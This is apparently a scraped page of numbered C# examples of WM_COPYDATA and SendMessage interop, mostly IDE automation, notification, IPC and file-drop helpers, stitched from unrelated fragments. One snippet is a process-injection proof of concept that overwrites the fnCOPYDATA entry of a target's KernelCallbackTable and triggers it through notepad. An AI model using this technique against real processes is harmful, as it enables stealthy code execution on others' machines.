                    response += charIndex.ToString();
                }
                else if (XString.Eq(functionName
                                    , "GetTextLength"
                                    ))
                {
                    int charCount = Ide.Document_GetTextLength();
                    response += charCount.ToString();
                }
                else if (XString.Eq(functionName
                                    , "GetText"
                                    ))
                {
                    string chars = Ide.Document_GetText();
                    response += chars;
                }
                else if (XString.Eq(functionName
                                    , "ScrollToEnd"
                                    ))
                {
                    Ide.Document_ScrollToEnd();
                }
                else if (XString.Eq(functionName
                                    , "GetCaretLineIndex"
                                    ))
                {
                    response += Ide.Document_GetCaretLineIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetCaretColumnIndex"
                                    ))
                {
                    response += Ide.Document_GetCaretColumnIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedStartLineIndex"
                                    ))
                {
                    response += Ide.Document_GetSelectedStartLineIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedEndLineIndex"
                                    ))
                {
                    response += Ide.Document_GetSelectedEndLineIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedRangeCount"
                                    ))
                {
                    response += Ide.Document_GetSelectedRangeCount();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedStartCharIndex"
                                    ))
                {
                    response += Ide.Document_GetSelectedStartCharIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedEndCharIndex"
                                    ))
                {
                    response += Ide.Document_GetSelectedEndCharIndex();
                }
                else if (XString.Eq(functionName
                                    , "GetOpenDocuments"
                                    ))
                {
                    response += Ide.Document_GetOpenDocuments();
                }
            }
            else if (XString.StartsWith(actionLine, "SolutionExplorer."))
            {
                string   functionName = null;
                string[] args         = null;
                ParseActionLine(actionLine, "SolutionExplorer.",
                                out functionName, out args);

                if (XString.Eq(functionName
                               , "GetSelectedItems"
                               ))
                {
                    response += Ide.SolutionExplorer_GetSelectedItems();
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedItemCount"
                                    ))
                {
                    response += Ide.SolutionExplorer_GetSelectedItemCount();
                }
            }
            else if (XString.StartsWith(actionLine, "Base."))
            {
                string   functionName = null;
                string[] args         = null;
                ParseActionLine(actionLine, "Base.",
                                out functionName, out args);

                if (XString.Eq(functionName
                               , "GetServerId"
                               ))
                {
                    response += Ide.Base_GetServerId();
                }
                else if (XString.Eq(functionName
                                    , "SetServerId"
                                    ))
                {
                    string serverId = args[0];
                    Ide.Base_SetServerId(serverId);
                }
                else if (XString.Eq(functionName
                                    , "GetServerHandle"
                                    ))
                {
                    response += Ide.Base_GetServerHandle();
                }
            }
            else if (XString.StartsWith(actionLine, "Output."))
            {
                string   functionName = null;
                string[] args         = null;
                ParseActionLine(actionLine, "Output.",
                                out functionName, out args);

                if (XString.Eq(functionName
                               , "WriteCR"
                               ))
                {
                    response += Ide.Output_WriteCR();
                }
                else if (XString.Eq(functionName
                                    , "WriteLF"
                                    ))
                {
                    response += Ide.Output_WriteLF();
                }
                else if (XString.Eq(functionName
                                    , "WriteCRLF"
                                    ))
                {
                    response += Ide.Output_WriteCRLF();
                }
                else if (XString.Eq(functionName
                                    , "WriteHT"
                                    ))
                {
                    response += Ide.Output_WriteHT();
                }
                else if (XString.Eq(functionName
                                    , "WriteSP"
                                    ))
                {
                    response += Ide.Output_WriteSP();
                }
                else if (XString.Eq(functionName
                                    , "Write"
                                    ))
                {
                    string text = args[0].Trim('"');
                    response += Ide.Output_Write(text);
                }
            }
        }

        XLog.Log($"IncludeMarkerInResponse: {Persistence.IncludeMarkerInResponse}");
        if (Persistence.IncludeMarkerInResponse)
        {
            response += Marker + "\r\n";
        }

        var responseEncoding = Persistence.ResponseEncoding;

        XLog.Log($"ResponseEncoding: {responseEncoding}");
        var sizeInBytes     = (response.Length + 1) * 2;
        var responsePointer = IntPtr.Zero;

        try
        {
            if (responseEncoding == IdexEncoding.Ansi)
            {
                responsePointer = Marshal.StringToCoTaskMemAnsi(response);
            }
            else
            {
                responsePointer = Marshal.StringToCoTaskMemUni(response);
            }

            var cds = new COPYDATASTRUCT();
            cds.cbData = sizeInBytes;
            cds.lpData = responsePointer;
            Native.SendMessage(clientHandle, WM_COPYDATA, IntPtr.Zero, ref cds);
            int errorCode = Marshal.GetLastWin32Error();
            if (errorCode != 0)
            {
                XLog.Log($"SendMessage Code: {errorCode}");
            }
        }
        finally
        {
            XLog.Log($"Free native objects");
            if (responseEncoding == IdexEncoding.Ansi)
            {
                Marshal.ZeroFreeCoTaskMemAnsi(responsePointer);
            }
            else
            {
                Marshal.ZeroFreeCoTaskMemUnicode(responsePointer);
            }
        }
        XLog.Log($"End Request");
    }
Exemple #36
0
        // ------------------------------------------------------------------------------------

        /// <summary>
        /// Send message to Snarl.
        /// Will UTF8 encode the message before sending.
        /// </summary>
        /// <param name="request"></param>
        /// <param name="replyTimeout">(Optional - default = 1000)</param>
        /// <returns>Return zero or positive on succes. Negative on error.</returns>
        static public Int32 DoRequest(String request, UInt32 replyTimeout)
        {
            Int32  nReturn            = -1;
            IntPtr nSendMessageResult = IntPtr.Zero;
            IntPtr ptrToUtf8Request   = IntPtr.Zero;
            IntPtr ptrToCds           = IntPtr.Zero;

            byte[] utf8Request = null;

            // Test if Snarl is running
            IntPtr hWnd = GetSnarlWindow();

            if (!IsWindow(hWnd))
            {
                return(-(Int32)SnarlStatus.ErrorNotRunning);
            }

            try
            {
                // Convert to UTF8
                // utf8Request = StringToUtf8(request);
                UTF8Encoding utf8 = new UTF8Encoding();
                utf8Request = new byte[utf8.GetMaxByteCount(request.Length)];
                int convertCount = utf8.GetBytes(request, 0, request.Length, utf8Request, 0);

                // Create interop struct
                COPYDATASTRUCT cds = new COPYDATASTRUCT();
                cds.dwData = (IntPtr)0x534E4C03; // "SNL",3
                cds.cbData = convertCount;

                // Create unmanaged byte[] and copy utf8Request into it
                ptrToUtf8Request = Marshal.AllocHGlobal(convertCount);
                Marshal.Copy(utf8Request, 0, ptrToUtf8Request, convertCount);
                cds.lpData = ptrToUtf8Request;

                // Create unmanaged pointer to COPYDATASTRUCT
                ptrToCds = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(COPYDATASTRUCT)));
                Marshal.StructureToPtr(cds, ptrToCds, false);

                if (SendMessageTimeout(hWnd,
                                       (uint)WindowsMessage.WM_COPYDATA,
                                       (IntPtr)GetCurrentProcessId(),
                                       ptrToCds,
                                       SendMessageTimeoutFlags.SMTO_ABORTIFHUNG | SendMessageTimeoutFlags.SMTO_NOTIMEOUTIFNOTHUNG,
                                       replyTimeout,
                                       out nSendMessageResult) == IntPtr.Zero)
                {
                    // Error
                    int nError = Marshal.GetLastWin32Error();
                    if (nError == ERROR_TIMEOUT)
                    {
                        nReturn = -(Int32)SnarlStatus.ErrorTimedOut;
                    }
                    else
                    {
                        nReturn = -(Int32)SnarlStatus.ErrorFailed;
                    }
                }
                else
                {
                    nReturn = unchecked ((Int32)nSendMessageResult.ToInt64()); // Avoid aritmetic overflow error
                }
            }
            finally
            {
                utf8Request = null;
                Marshal.FreeHGlobal(ptrToCds);
                Marshal.FreeHGlobal(ptrToUtf8Request);
            }

            return(nReturn);
        }
Exemple #37
0
 public static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, ref COPYDATASTRUCT lParam);
Exemple #38
0
 public extern static bool SendMessage(IntPtr hWnd, uint msg, uint wParam, ref COPYDATASTRUCT lParam);
 private static extern int SendMessage(IntPtr hwnd, int msg, IntPtr wParam, ref COPYDATASTRUCT lParam);
Exemple #40
0
 public static extern int SendMessage(
     IntPtr hWnd,           // handle to destination window
     int Msg,               // message
     IntPtr wParam,         // first message parameter
     ref COPYDATASTRUCT pcd // second message parameter
     );
		public static void SendConfig(IntPtr wnd)
		{
			var str = string.Format(
				"{0}{1}{2}{3}", (Config.Instance.Settings.GameSettings[0].SelectedValue == "True") ? "1" : "0",
				(Config.Instance.Settings.GameSettings[3].SelectedValue == "True") ? "1" : "0",
				(Config.Instance.Settings.GameSettings[1].SelectedValue == "True") ? "1" : "0",
				(Config.Instance.Settings.GameSettings[2].SelectedValue == "True") ? "2" : "0");

			var lParam = new COPYDATASTRUCT { cbData = 2, dwData = str.Length * 2 + 2, lpData = str };
			Win32Imports.SendMessage(wnd, 74U, IntPtr.Zero, ref lParam);
		}
 private static extern int SendMessage(int hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
        static void Main(string[] args)
        {
            int pid = int.Parse(args[0]);

            Console.WriteLine("Process id: " + pid);

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

            Console.WriteLine("Obtained handle to the process: " + hProcess.ToString("X"));

            ProcessBasicInfo pbInfo             = new ProcessBasicInfo();
            uint             retLen             = new uint();
            long             qResult            = ZwQueryInformationProcess(hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
            IntPtr           kernelcallbackAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x58);

            Console.WriteLine($"Got Kernel Callback address of process at {"0x" + kernelcallbackAddr.ToString("x")}");

            int bytesRead = 0;

            byte[] buffer = new byte[0x8];
            bool   result = ReadProcessMemory(hProcess, kernelcallbackAddr, buffer, buffer.Length, out bytesRead);

            Console.WriteLine(bytesRead + " bytes read!");
            IntPtr kernelcallbackval = (IntPtr)BitConverter.ToInt64(buffer, 0);

            Console.WriteLine("Kernel CallbackTable: " + kernelcallbackval.ToString("X"));

            int size = Marshal.SizeOf(typeof(KernelCallBackTable));

            byte[] bytes = new byte[size];
            ReadProcessMemory(hProcess, kernelcallbackval, bytes, size, out _);
            GCHandle            handle       = GCHandle.Alloc(bytes, GCHandleType.Pinned);
            KernelCallBackTable kernelstruct = (KernelCallBackTable)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(KernelCallBackTable));

            handle.Free();
            Console.WriteLine("Value at fnCOPYDATA: " + kernelstruct.fnCOPYDATA.ToString("X"));

            int no_bytes;

            byte[] buf = new byte[4] {
                0x90, 0x90, 0x90, 0x90
            };

            byte[] orig_data = new byte[buf.Length];
            //Copying original fnCOPYDATA bytes
            ReadProcessMemory(hProcess, kernelstruct.fnCOPYDATA, orig_data, orig_data.Length, out no_bytes);
            Console.WriteLine(no_bytes + " original bytes copied!");

            //Writing payload into fnCOPYDATA
            bool res = WriteProcessMemory(hProcess, kernelstruct.fnCOPYDATA, buf, buf.Length, out no_bytes);

            Console.WriteLine(no_bytes + " payload bytes written to fnCOPYDATA!");

            //In this case, injecting into notepad.exe and hence classname used is notepad
            IntPtr hwindow = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "notepad", null);

            Console.WriteLine("Obtained handle to window: " + hwindow.ToString("X"));

            string msg = "Pwned!\0";

            var cds = new COPYDATASTRUCT
            {
                dwData = new IntPtr(3),
                cbData = msg.Length,
                lpData = msg
            };

            SendMessage(hwindow, WM_COPYDATA, IntPtr.Zero, ref cds);
            Console.WriteLine("SendMessage triggered!");

            //Restore original value of fnCOPYDATA
            res = WriteProcessMemory(hProcess, kernelstruct.fnCOPYDATA, orig_data, orig_data.Length, out no_bytes);
            Console.WriteLine(no_bytes + " original bytes written back to fnCOPYDATA!");

            CloseHandle(hProcess);
            CloseHandle(hwindow);
        }
        /// <summary>
        /// Sends the specified object on this channel to any other
        /// applications which are listening.  The object must have the
        /// SerializableAttribute set, or must implement ISerializable.
        /// </summary>
        /// <param name="obj">The object to send</param>
        /// <returns>The number of recipients</returns>
        public int Send(object obj)
        {
            int recipients = 0;

            if (disposed)
            {
                throw new InvalidOperationException("Object has been disposed");
            }

            if (recreateChannel) // handle has changed
            {
                addChannel();
            }

            CopyDataObjectData cdo = new CopyDataObjectData(obj, channelName);

            // Try to do a binary serialization on obj.
            // This will throw and exception if the object to
            // be passed isn't serializable.
            BinaryFormatter b      = new BinaryFormatter();
            MemoryStream    stream = new MemoryStream();

            b.Serialize(stream, cdo);
            stream.Flush();

            // Now move the data into a pointer so we can send
            // it using WM_COPYDATA:
            // Get the length of the data:
            int dataSize = (int)stream.Length;

            if (dataSize > 0)
            {
                // This isn't very efficient if your data is very large.
                // First we copy to a byte array, then copy to a CoTask
                // Mem object... And when we use WM_COPYDATA windows will
                // make yet another copy!  But if you're talking about 4K
                // or less of data then it doesn't really matter.
                byte[] data = new byte[dataSize];
                stream.Seek(0, SeekOrigin.Begin);
                stream.Read(data, 0, dataSize);
                IntPtr ptrData = Marshal.AllocCoTaskMem(dataSize);
                Marshal.Copy(data, 0, ptrData, dataSize);

                // Enumerate all windows which have the
                // channel name, send the data to each one
                EnumWindows ew = new EnumWindows();
                ew.GetWindows();

                // Send the data to each window identified on
                // the channel:
                foreach (EnumWindowsItem window in ew.Items)
                {
                    if (!window.Handle.Equals(this.owner.Handle))
                    {
                        if (GetProp(window.Handle, this.channelName) != 0)
                        {
                            COPYDATASTRUCT cds = new COPYDATASTRUCT();
                            cds.cbData = dataSize;
                            cds.dwData = IntPtr.Zero;
                            cds.lpData = ptrData;
                            int res = SendMessage(window.Handle, WM_COPYDATA, (int)owner.Handle, ref cds);
                            recipients += (Marshal.GetLastWin32Error() == 0 ? 1 : 0);
                        }
                    }
                }

                // Clear up the data:
                Marshal.FreeCoTaskMem(ptrData);
            }
            stream.Close();

            return(recipients);
        }
Exemple #45
0
 public static extern int SendMessage(IntPtr hwnd, int msg, int wParam, ref COPYDATASTRUCT IParam);
Exemple #46
0
 public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, ref COPYDATASTRUCT lpCds);
Exemple #47
0
 private static extern int SendMessage(IntPtr hwnd, int wMsg, int wParam, ref COPYDATASTRUCT lParam);
Exemple #48
0
 private static extern int SendMessage(
     int hWnd,                 // handle to destination window
     int Msg,                  // message
     int wParam,               // first message parameter
     ref COPYDATASTRUCT lParam // second message parameter
     );
        protected override void WndProc(ref Message m)
        {
            try {
                QMenuItem ownerItem;
                if (!fRespondModKeys)
                {
                    base.WndProc(ref m);
                    return;
                }
                int wParam = (int)((long)m.WParam);
                switch (m.Msg)
                {
                case WM.KEYDOWN:
                    break;

                case WM.KEYUP:
                    if (fOnceKeyDown && ((wParam == 0x10) || (wParam == 0x11)))
                    {
                        bool flag2 = false;
                        foreach (QMenuItem item4 in lstQMIResponds.Where(item4 => item4.Selected))
                        {
                            if (item4.Enabled)
                            {
                                Keys modifierKeys = ModifierKeys;
                                if (modifierKeys == Keys.Control)
                                {
                                    item4.ImageKey = "control";
                                }
                                else if (fEnableShiftKey && (modifierKeys == Keys.Shift))
                                {
                                    item4.ImageKey = "shift";
                                }
                                else
                                {
                                    item4.RestoreOriginalImage(fChangeImageSelected, false);
                                }
                                lastKeyImageChangedItem = item4;
                            }
                            flag2 = true;
                            break;
                        }
                        ownerItem = OwnerItem as QMenuItem;
                        if (ownerItem != null)
                        {
                            DropDownMenuBase owner = ownerItem.Owner as DropDownMenuBase;
                            if ((owner != null) && owner.Visible)
                            {
                                if (flag2)
                                {
                                    PInvoke.SendMessage(owner.Handle, 0x2a3, IntPtr.Zero, IntPtr.Zero);
                                }
                                else
                                {
                                    QTUtility2.SendCOPYDATASTRUCT(owner.Handle, (IntPtr)wParam, string.Empty, (IntPtr)1);
                                }
                            }
                        }
                    }
                    goto Label_07C2;

                case WM.MOUSEMOVE:
                    goto Label_0562;

                case WM.MOUSELEAVE:
                    goto Label_072E;

                case WM.PAINT:
                    if (fSuspendPainting)
                    {
                        PInvoke.ValidateRect(m.HWnd, IntPtr.Zero);
                    }
                    else
                    {
                        base.WndProc(ref m);
                    }
                    return;

                case WM.COPYDATA: {
                    COPYDATASTRUCT copydatastruct = (COPYDATASTRUCT)Marshal.PtrToStructure(m.LParam, typeof(COPYDATASTRUCT));
                    ownerItem = GetItemAt(PointToClient(MousePosition)) as QMenuItem;
                    if (!(copydatastruct.dwData == IntPtr.Zero))
                    {
                        goto Label_04B6;
                    }
                    if (ownerItem == null)
                    {
                        goto Label_0462;
                    }
                    Keys keys3 = ModifierKeys;
                    if ((wParam == 0x11) && ((keys3 & Keys.Shift) != Keys.Shift))
                    {
                        ownerItem.ImageKey = "control";
                    }
                    else if ((fEnableShiftKey && (wParam == 0x10)) && ((keys3 & Keys.Control) != Keys.Control))
                    {
                        ownerItem.ImageKey = "shift";
                    }
                    else
                    {
                        ownerItem.RestoreOriginalImage(fChangeImageSelected, false);
                    }
                    lastKeyImageChangedItem = ownerItem;
                    goto Label_07C2;
                }

                default:
                    goto Label_07C2;
                }
                fOnceKeyDown = true;
                if ((((int)((long)m.LParam)) & 0x40000000) == 0)
                {
                    if ((wParam == 0x10) || (wParam == 0x11))
                    {
                        bool flag = false;
                        foreach (QMenuItem item2 in lstQMIResponds.Where(item2 => item2.Selected))
                        {
                            if (item2.Enabled)
                            {
                                Keys keys = ModifierKeys;
                                if ((wParam == 0x11) && ((keys & Keys.Shift) != Keys.Shift))
                                {
                                    item2.ImageKey = "control";
                                }
                                else if ((fEnableShiftKey && (wParam == 0x10)) && ((keys & Keys.Control) != Keys.Control))
                                {
                                    item2.ImageKey = "shift";
                                }
                                else
                                {
                                    item2.RestoreOriginalImage(fChangeImageSelected, false);
                                }
                                lastKeyImageChangedItem = item2;
                            }
                            flag = true;
                            break;
                        }
                        ownerItem = OwnerItem as QMenuItem;
                        if (ownerItem != null)
                        {
                            DropDownMenuBase base2 = ownerItem.Owner as DropDownMenuBase;
                            if ((base2 != null) && base2.Visible)
                            {
                                if (flag)
                                {
                                    PInvoke.SendMessage(base2.Handle, 0x2a3, IntPtr.Zero, IntPtr.Zero);
                                }
                                else
                                {
                                    QTUtility2.SendCOPYDATASTRUCT(base2.Handle, (IntPtr)wParam, string.Empty, IntPtr.Zero);
                                }
                            }
                        }
                    }
                    else if ((wParam == 13) && ((fEnableShiftKey && (ModifierKeys == Keys.Shift)) || (ModifierKeys == Keys.Control)))
                    {
                        foreach (ToolStripItem item3 in Items)
                        {
                            if (item3.Selected)
                            {
                                if (item3.Enabled)
                                {
                                    OnItemClicked(new ToolStripItemClickedEventArgs(item3));
                                }
                                break;
                            }
                        }
                    }
                }
                goto Label_07C2;
Label_0462:
                ownerItem = OwnerItem as QMenuItem;
                if (ownerItem != null)
                {
                    DropDownMenuBase base4 = ownerItem.Owner as DropDownMenuBase;
                    if ((base4 != null) && base4.Visible)
                    {
                        QTUtility2.SendCOPYDATASTRUCT(base4.Handle, (IntPtr)wParam, string.Empty, IntPtr.Zero);
                    }
                }
                goto Label_07C2;
Label_04B6:
                if (ownerItem != null)
                {
                    Keys keys4 = ModifierKeys;
                    if (keys4 == Keys.Control)
                    {
                        ownerItem.ImageKey = "control";
                    }
                    else if (fEnableShiftKey && (keys4 == Keys.Shift))
                    {
                        ownerItem.ImageKey = "shift";
                    }
                    else
                    {
                        ownerItem.RestoreOriginalImage(fChangeImageSelected, false);
                    }
                    lastKeyImageChangedItem = ownerItem;
                }
                else
                {
                    ownerItem = OwnerItem as QMenuItem;
                    if (ownerItem != null)
                    {
                        DropDownMenuBase base5 = ownerItem.Owner as DropDownMenuBase;
                        if ((base5 != null) && base5.Visible)
                        {
                            QTUtility2.SendCOPYDATASTRUCT(base5.Handle, (IntPtr)wParam, string.Empty, (IntPtr)1);
                        }
                    }
                }
                goto Label_07C2;
Label_0562:
                if ((m.WParam == IntPtr.Zero) && (m.LParam == lparamPreviousMouseMove))
                {
                    m.Result = IntPtr.Zero;
                    return;
                }
                lparamPreviousMouseMove = m.LParam;
                if ((!fEnableShiftKey || ((wParam & 4) != 4)) && (((wParam & 8) != 8) && !fChangeImageSelected))
                {
                    goto Label_07C2;
                }
                ToolStripItem itemAt = GetItemAt(QTUtility2.PointFromLPARAM(m.LParam));
                if (itemAt == null)
                {
                    base.WndProc(ref m);
                    return;
                }
                ownerItem = itemAt as QMenuItem;
                if (!IsQmiResponds(ownerItem))
                {
                    goto Label_06F8;
                }
                if (ownerItem == lastMouseActiveItem)
                {
                    goto Label_07C2;
                }
                if (lstQMIResponds.Count > 0x1c)
                {
                    fSuspendPainting = true;
                }
                SuspendLayout();
                if (ownerItem.Enabled)
                {
                    switch (wParam)
                    {
                    case 8:
                        ownerItem.ImageKey = "control";
                        goto Label_06AB;

                    case 4:
                        ownerItem.ImageKey = "shift";
                        goto Label_06AB;
                    }
                    if (((ownerItem.Genre == MenuGenre.Navigation) && (ownerItem.MenuItemArguments != null)) && (!ownerItem.MenuItemArguments.IsBack || (ownerItem.MenuItemArguments.Index != 0)))
                    {
                        ownerItem.ImageKey = ownerItem.MenuItemArguments.IsBack ? "back" : "forward";
                    }
                    else
                    {
                        ownerItem.RestoreOriginalImage();
                    }
                }
Label_06AB:
                if (lastMouseActiveItem != null)
                {
                    lastMouseActiveItem.RestoreOriginalImage();
                }
                if ((ownerItem != lastKeyImageChangedItem) && (lastKeyImageChangedItem != null))
                {
                    lastKeyImageChangedItem.RestoreOriginalImage();
                    lastKeyImageChangedItem = null;
                }
                lastMouseActiveItem = ownerItem;
                fSuspendPainting    = false;
                ResumeLayout(false);
                goto Label_07C2;
Label_06F8:
                if (lastMouseActiveItem != null)
                {
                    lastMouseActiveItem.RestoreOriginalImage();
                    lastMouseActiveItem = null;
                }
                if (lastKeyImageChangedItem != null)
                {
                    lastKeyImageChangedItem.RestoreOriginalImage();
                    lastKeyImageChangedItem = null;
                }
                goto Label_07C2;
Label_072E:
                ResetImageKeys();
                lastMouseActiveItem = null;
            }
            catch (Exception exception) {
                QTUtility2.MakeErrorLog(exception, "MSG:" + m.Msg.ToString("X") + ", WPARAM:" + m.WParam.ToString("X") + ", LPARAM:" + m.LParam.ToString("X"));
            }
Label_07C2:
            base.WndProc(ref m);
            fSuspendPainting = false;
        }
Exemple #50
0
 public static extern IntPtr SendMessage(
     IntPtr hWnd,                // Handle to destination window
     Int32 Msg,                  // Message ID
     IntPtr wParam,              // Handle to window (same as hWnd)
     ref COPYDATASTRUCT lParam   // Pointer to a COPYDATASTRUCT structure
     );
Exemple #51
0
 public static extern int SendMessage(IntPtr hWnd, int wMsg, uint wParam, ref COPYDATASTRUCT lParam);
 public static extern int PostMessage(int hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
Exemple #53
0
        // ------------------------------------------------------------------------------------
        /// <summary>
        /// Send message to Snarl.
        /// Will UTF8 encode the message before sending.
        /// </summary>
        /// <param name="request"></param>
        /// <param name="replyTimeout">(Optional - default = 1000)</param>
        /// <returns>Return zero or positive on succes. Negative on error.</returns>
        public static Int32 DoRequest(String request, UInt32 replyTimeout)
        {
            Int32 nReturn = -1;
            IntPtr nSendMessageResult = IntPtr.Zero;
            IntPtr ptrToUtf8Request = IntPtr.Zero;
            IntPtr ptrToCds = IntPtr.Zero;
            byte[] utf8Request = null;

            // Test if Snarl is running
            IntPtr hWnd = GetSnarlWindow();
            if (!IsWindow(hWnd))
                return -(Int32)SnarlStatus.ErrorNotRunning;

            try
            {
                // Convert to UTF8
                // utf8Request = StringToUtf8(request);
                UTF8Encoding utf8 = new UTF8Encoding();
                utf8Request = new byte[utf8.GetMaxByteCount(request.Length)];
                int convertCount = utf8.GetBytes(request, 0, request.Length, utf8Request, 0);

                // Create interop struct
                COPYDATASTRUCT cds = new COPYDATASTRUCT();
                cds.dwData = (IntPtr)0x534E4C03; // "SNL",3
                cds.cbData = convertCount;

                // Create unmanaged byte[] and copy utf8Request into it
                ptrToUtf8Request = Marshal.AllocHGlobal(convertCount);
                Marshal.Copy(utf8Request, 0, ptrToUtf8Request, convertCount);
                cds.lpData = ptrToUtf8Request;

                // Create unmanaged pointer to COPYDATASTRUCT
                ptrToCds = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(COPYDATASTRUCT)));
                Marshal.StructureToPtr(cds, ptrToCds, false);

                if (SendMessageTimeout(hWnd,
                          (uint)WindowsMessage.WM_COPYDATA,
                          (IntPtr)GetCurrentProcessId(),
                          ptrToCds,
                          SendMessageTimeoutFlags.SMTO_ABORTIFHUNG | SendMessageTimeoutFlags.SMTO_NOTIMEOUTIFNOTHUNG,
                          replyTimeout,
                          out nSendMessageResult) == IntPtr.Zero)
                {
                    // Error
                    int nError = Marshal.GetLastWin32Error();
                    if (nError == ERROR_TIMEOUT)
                        nReturn = -(Int32)SnarlStatus.ErrorTimedOut;
                    else
                        nReturn = -(Int32)SnarlStatus.ErrorFailed;
                }
                else
                    nReturn = unchecked((Int32)nSendMessageResult.ToInt64()); // Avoid aritmetic overflow error
            }
            finally
            {
                utf8Request = null;
                Marshal.FreeHGlobal(ptrToCds);
                Marshal.FreeHGlobal(ptrToUtf8Request);
            }

            return nReturn;
        }
Exemple #54
0
 public static extern int SendMessage(IntPtr hWnd,              // 信息发往的窗口的句柄
                                      int Msg,                  // 消息ID
                                      int wParam,               // 参数1
                                      ref COPYDATASTRUCT lParam //参数2
                                      );
		public static void SendLoginCredentials(IntPtr wnd, string user, string passwordHash)
		{
			var str = string.Format("LOGIN|{0}|{1}", user, passwordHash);
			var lParam = new COPYDATASTRUCT { cbData = 2, dwData = str.Length * 2 + 2, lpData = str };
			Win32Imports.SendMessage(wnd, 74U, IntPtr.Zero, ref lParam);
		}
 private void Free(ref COPYDATASTRUCT cds)
 {
     Marshal.FreeHGlobal(cds.lpData);
     cds.lpData = IntPtr.Zero;
 }
 public static extern int SendMessage(int hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
        private COPYDATASTRUCT Pack(string string_1, string string_2, string[] strings)
        {
            COPYDATASTRUCT cds = new COPYDATASTRUCT();

            int cb = sizeofInt32 * 3 +
                     System.Text.Encoding.Unicode.GetByteCount(string_1) +
                     System.Text.Encoding.Unicode.GetByteCount(string_2);

            foreach (string s in strings)
            {
                cb += sizeofInt32 + System.Text.Encoding.Unicode.GetByteCount(s);
            }

            cds.cbData = (uint)cb;

            cds.lpData = Marshal.AllocHGlobal(cb);

            IntPtr ptr = cds.lpData;

            int byteCount = System.Text.Encoding.Unicode.GetByteCount(string_1);

            Marshal.WriteInt32(ptr, byteCount);
            ptr += sizeofInt32;

            if (byteCount > 0)
            {
                Marshal.Copy(System.Text.Encoding.Unicode.GetBytes(string_1), 0, ptr, byteCount);
            }

            ptr += byteCount;

            byteCount = System.Text.Encoding.Unicode.GetByteCount(string_2);

            Marshal.WriteInt32(ptr, byteCount);
            ptr += sizeofInt32;

            if (byteCount > 0)
            {
                Marshal.Copy(System.Text.Encoding.Unicode.GetBytes(string_2), 0, ptr, byteCount);
            }

            ptr += byteCount;

            Marshal.WriteInt32(ptr, strings.Length);
            ptr += sizeofInt32;

            foreach (string s in strings)
            {
                byteCount = System.Text.Encoding.Unicode.GetByteCount(s);

                Marshal.WriteInt32(ptr, byteCount);
                ptr += sizeofInt32;

                if (byteCount > 0)
                {
                    Marshal.Copy(System.Text.Encoding.Unicode.GetBytes(s), 0, ptr, byteCount);
                }

                ptr += byteCount;
            }

            return(cds);
        }
Exemple #59
0
 public static extern Int32 SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, ref COPYDATASTRUCT lParam);
Exemple #60
0
        /// <summary>
        /// ファイルドロップ処理を行う。
        /// </summary>
        /// <param name="ownWindowHandle">
        /// WM_COPYDATA メッセージ送信元ウィンドウハンドル。
        /// </param>
        /// <param name="filePathes">ファイルパス列挙。</param>
        /// <param name="stepFrameCount">ドロップ後に進めるフレーム数。</param>
        /// <param name="layer">レイヤー位置指定。既定位置にするならば 0 。</param>
        /// <param name="timeoutMilliseconds">
        /// タイムアウトミリ秒数。負数ならばタイムアウトしない。
        /// </param>
        /// <returns>処理結果。</returns>
        public static Result Run(
            IntPtr ownWindowHandle,
            IEnumerable <string> filePathes,
            int stepFrameCount      = 0,
            int layer               = 0,
            int timeoutMilliseconds = -1)
        {
            ValidateArguments(filePathes, stepFrameCount, layer);

            // 処理対象ウィンドウ取得
            var result = ReadTargetWindow(out var targetWindow);

            if (result != Result.Success)
            {
                return(result);
            }

            // 拡張編集ウィンドウが表示されていないと失敗するので確認
            var aviUtlWindowHandle = targetWindow.GetOwner()?.Handle;

            if (!aviUtlWindowHandle.HasValue)
            {
                return(Result.ExEditWindowNotFound);
            }
            var exEditWindow =
                Win32Window.FromDesktop()
                .FindChildren()
                .FirstOrDefault(
                    win =>
                    win.GetOwner()?.Handle == aviUtlWindowHandle.Value &&
                    win
                    .GetText(timeoutMilliseconds)?
                    .StartsWith(ExEditWindowTitlePrefix) == true);

            if (exEditWindow == null || !exEditWindow.IsExists)
            {
                return(Result.ExEditWindowNotFound);
            }
            if (!exEditWindow.IsVisible)
            {
                return(Result.ExEditWindowInvisible);
            }

            // 『ごちゃまぜドロップス』 v0.3.12 以降であればミューテクスによる排他制御が可能
            Mutex mutex;

            try
            {
                // 開けなければ mutex は null
                Mutex.TryOpenExisting(GcmzMutexName, out mutex);
            }
            catch (Exception ex)
            {
                ThreadTrace.WriteException(ex);
                return(Result.MutexOpenFail);
            }

            var  data        = new COPYDATASTRUCT();
            var  lParam      = IntPtr.Zero;
            bool mutexLocked = false;

            try
            {
                // COPYDATASTRUCT 作成
                // 『ごちゃまぜドロップス』 v0.3.11 以前なら旧フォーマットを使う
                var gcmzLayer = (layer == 0) ? -MinLayer : layer;
                data =
                    (mutex == null) ?
                    CreateCopyDataStructLegacy(gcmzLayer, stepFrameCount, filePathes) :
                    CreateCopyDataStruct(gcmzLayer, stepFrameCount, filePathes);

                // LPARAM 値作成
                lParam = Marshal.AllocHGlobal(Marshal.SizeOf(data));
                Marshal.StructureToPtr(data, lParam, false);

                // ミューテクスが有効なら排他制御開始
                if (mutex != null)
                {
                    try
                    {
                        if (!mutex.WaitOne((timeoutMilliseconds < 0) ? -1 : timeoutMilliseconds))
                        {
                            return(Result.MutexLockTimeout);
                        }
                        mutexLocked = true;
                    }
                    catch (Exception ex)
                    {
                        ThreadTrace.WriteException(ex);
